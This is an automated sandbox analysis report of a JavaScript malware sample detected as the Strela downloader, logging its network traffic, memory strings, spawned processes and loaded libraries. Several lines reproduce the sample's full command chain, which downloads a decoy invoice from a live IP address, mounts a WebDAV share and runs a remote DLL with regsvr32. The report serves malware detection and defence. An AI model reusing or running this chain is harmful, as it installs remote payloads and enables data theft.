Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1420846811.000001D42C9F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1478342831.000001AFEF628000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1478342831.000001AFEF663000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1478342831.000001AFEF67F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1478342831.000001AFEF663000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/-
Source: net.exe, 00000007.00000002.1478342831.000001AFEF628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/b
Source: net.exe, 00000007.00000002.1478342831.000001AFEF628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: net.exe, 00000007.00000002.1478342831.000001AFEF663000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/y
Source: svchost.exe, 00000009.00000002.2713232022.000002960A88F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1476521664.000002960A6E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7716, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 71621480653828912.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7812:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3oqea0h0.ere.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 71621480653828912.js

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\71621480653828912.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1636,i,1540070909370966968,831719191553835530,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1636,i,1540070909370966968,831719191553835530,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
